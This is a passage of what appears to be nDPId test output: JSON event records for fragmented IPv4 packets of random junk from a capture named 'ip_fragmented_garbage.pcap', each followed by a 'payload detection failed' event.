+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348596,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348609,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348622,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348635,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348648,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348659,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348676,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348689,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348702,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348712,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348728,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348741,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348754,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348767,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348780,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348793,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348806,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348821,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348832,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348844,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348857,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348870,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348886,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348899,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348912,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348926,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348940,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348953,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348966,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348981,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348991,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349003,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349016,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349029,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349042,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349055,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349068,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349097,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349110,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349123,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349136,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 